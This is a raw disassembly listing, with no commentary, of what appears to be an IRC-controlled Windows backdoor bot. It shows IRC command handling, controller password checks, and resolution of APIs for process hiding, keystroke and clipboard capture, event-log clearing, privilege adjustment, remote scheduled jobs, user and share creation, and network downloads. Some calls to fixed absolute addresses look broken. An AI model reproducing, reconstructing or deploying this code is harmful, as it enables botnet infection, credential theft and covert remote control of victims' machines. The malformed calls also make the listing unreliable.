; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_4296E8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C pop ecx pop ecx push 1F4h nop call near ptr 2670000h push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call dword_4CB00C push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEC4[eax] call near ptr 2680979h nop push esi call sub_41B779 imul eax, 234h push esi mov dword_43DEC4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43DCB0[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_4296BC jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_429694 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_429670 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429644 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_429DB0 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429628 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_429D14 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429604 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_4295E0 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_4295BC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429598 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax nop call near ptr 2670000h loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429570 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_42954C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42CA28 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CAE2C push ebx inc esi call sub_41C0F4 push offset asc_429548 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294C8 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_429474 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429454 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429434 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CAE24, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h nop call near ptr 2670000h locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB020, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CAF94, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CAF78, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CAE88, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CAE34, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CAE64, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CAEDC, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CAFD4, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB030, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CAE94, eax call esi cmp dword_4CB020, ebx mov dword_4CAE7C, eax jz short loc_409C10 cmp dword_4CAF94, ebx jz short loc_409C10 cmp dword_4CAF78, ebx jz short loc_409C10 cmp dword_4CAE88, ebx jz short loc_409C10 cmp dword_4CAE64, ebx jz short loc_409C10 cmp dword_4CAEDC, ebx jz short loc_409C10 cmp dword_4CAFD4, ebx jz short loc_409C10 cmp dword_4CB030, ebx jz short loc_409C10 cmp dword_4CAE94, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB034, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CAFAC, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj call near ptr 26709C5h nop mov dword_4CB038, eax mov dword_4CB034, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 2690C99h mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CAFD0, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CAF80, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CAF14, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB024, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CAF44, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CAF64, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CAFC8, eax call esi cmp dword_4CAFD0, ebx mov dword_4CAEB4, eax jz short loc_409D00 cmp dword_4CAF80, ebx jz short loc_409D00 cmp dword_4CAF14, ebx jz short loc_409D00 cmp dword_4CB024, ebx jz short loc_409D00 cmp dword_4CAF44, ebx jz short loc_409D00 cmp dword_4CAF64, ebx jz short loc_409D00 cmp dword_4CAFC8, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB03C, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CAF40, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CAE48, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CAF10, eax call esi cmp dword_4CAF40, ebx mov dword_4CAEF8, eax jz short loc_409D67 cmp dword_4CAE48, ebx jz short loc_409D67 cmp dword_4CAF10, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j nop call near ptr 26709C5h mov dword_4CB040, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB03C, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CAFE4, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CAF28, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CAF98, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CAE74, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CAED8, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CAF50, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CAEF4, eax call esi cmp dword_4CAFE4, ebx mov dword_4CAF04, eax jz short loc_409E1A cmp dword_4CAF28, ebx jz short loc_409E1A cmp dword_4CAF98, ebx jz short loc_409E1A cmp dword_4CAE74, ebx jz short loc_409E1A cmp dword_4CAED8, ebx jz short loc_409E1A cmp dword_4CAF50, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB044, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CAF58, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CAF30, eax call esi cmp dword_4CAF58, ebx mov dword_4CAFE0, eax jz short loc_409E5F cmp dword_4CAF30, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB044, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CAF68, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CAE50, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CAE58, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CAEBC, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CAEC0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CAE6C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CAF34, eax call esi cmp dword_4CAF68, ebx mov dword_4CAE5C, eax jz short loc_409F0D cmp dword_4CAE50, ebx jz short loc_409F0D cmp dword_4CAE58, ebx jz short loc_409F0D cmp dword_4CAEBC, ebx jz short loc_409F0D cmp dword_4CAEC0, ebx jz short loc_409F0D cmp dword_4CAE6C, ebx jz short loc_409F0D cmp dword_4CAF34, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB044, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CAE54, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj call near ptr 26709C5h nop mov dword_4CB048, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB044, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CAF60, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CAFB8, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CAFC0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CAF7C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CAE98, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CAE44, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CAFBC, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CAE30, eax call esi cmp dword_4CAF60, ebx mov dword_4CAED0, eax jz short loc_40A016 cmp dword_4CAFB8, ebx jz short loc_40A016 cmp dword_4CAFC0, ebx jz short loc_40A016 cmp dword_4CAF7C, ebx jz short loc_40A016 cmp dword_4CAE98, ebx jz short loc_40A016 cmp dword_4CAE44, ebx jz short loc_40A016 cmp dword_4CAFBC, ebx jz short loc_40A016 cmp dword_4CAE30, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j nop call near ptr 26709C5h mov dword_4CB050, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB04C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CAEE4, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB018, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CAE84, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CAE60, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CAF20, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CAF08, eax call esi push offset aSocket ; "socket" push edi mov dword_4CAECC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CAFF4, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB010, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CAF1C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB000, eax call esi push offset aHtons ; "htons" push edi mov dword_4CAFB4, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CAF74, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CAF70, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CAEA4, eax call esi push offset aSend ; "send" push edi mov dword_4CAE9C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CAFC4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CAFD8, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CAF8C, eax call esi mov dword_4CAF4C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CAFA0, eax call esi push offset aListen ; "listen" push edi mov dword_4CAF5C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CAF9C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB008, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CAF54, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CAF18, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CAF88, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CAFF8, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CAF2C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CAEC8, eax call esi cmp dword_4CAEE4, ebx mov dword_4CB00C, eax jz loc_40A2E7 cmp dword_4CB018, ebx jz loc_40A2E7 cmp dword_4CAE84, ebx jz loc_40A2E7 cmp dword_4CAF20, ebx jz loc_40A2E7 cmp dword_4CAF08, ebx jz loc_40A2E7 cmp dword_4CAECC, ebx jz loc_40A2E7 cmp dword_4CAFF4, ebx jz loc_40A2E7 cmp dword_4CB010, ebx jz loc_40A2E7 cmp dword_4CAF1C, ebx jz loc_40A2E7 cmp dword_4CB000, ebx jz loc_40A2E7 cmp dword_4CAFB4, ebx jz loc_40A2E7 cmp dword_4CAF74, ebx jz loc_40A2E7 cmp dword_4CAF70, ebx jz loc_40A2E7 cmp dword_4CAEA4, ebx jz short loc_40A2E7 cmp dword_4CAFC4, ebx jz short loc_40A2E7 cmp dword_4CAFD8, ebx jz short loc_40A2E7 cmp dword_4CAF8C, ebx jz short loc_40A2E7 cmp dword_4CAF4C, ebx jz short loc_40A2E7 cmp dword_4CAFA0, ebx jz short loc_40A2E7 cmp dword_4CAF5C, ebx jz short loc_40A2E7 cmp dword_4CAF9C, ebx jz short loc_40A2E7 cmp dword_4CB008, ebx jz short loc_40A2E7 cmp dword_4CAF54, ebx jz short loc_40A2E7 cmp dword_4CAF18, ebx jz short loc_40A2E7 cmp dword_4CAF88, ebx jz short loc_40A2E7 cmp dword_4CAFF8, ebx jz short loc_40A2E7 cmp dword_4CAF2C, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj nop call near ptr 26709C5h mov dword_4CB058, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB054, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CAEB0, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CAE38, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CAF3C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CAEE8, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CAF48, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CAF0C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CAE78, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CAE70, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CAE80, eax call esi cmp dword_4CAEB0, ebx mov ecx, dword_4CAF0C mov dword_4CAFA8, eax jz short loc_40A3D2 cmp dword_4CAE38, ebx jz short loc_40A3D2 cmp dword_4CAF3C, ebx jz short loc_40A3D2 cmp dword_4CAEE8, ebx jz short loc_40A3D2 cmp dword_4CAF48, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CAE78, ebx jz short loc_40A3D2 cmp dword_4CAE70, ebx jz short loc_40A3D2 cmp dword_4CAE80, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB05C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CAF24, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj nop call near ptr 26709C5h mov dword_4CB060, eax mov dword_4CB05C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CAF24, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CAEFC, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB02C, eax call esi cmp dword_4CAEFC, ebx mov dword_4CAE8C, eax jz short loc_40A466 cmp dword_4CB02C, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj nop call near ptr 26709C5h mov dword_4CB068, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB064, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CAE68, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CAE40, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CAEB8, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CAEEC, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB004, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CAEA0, eax 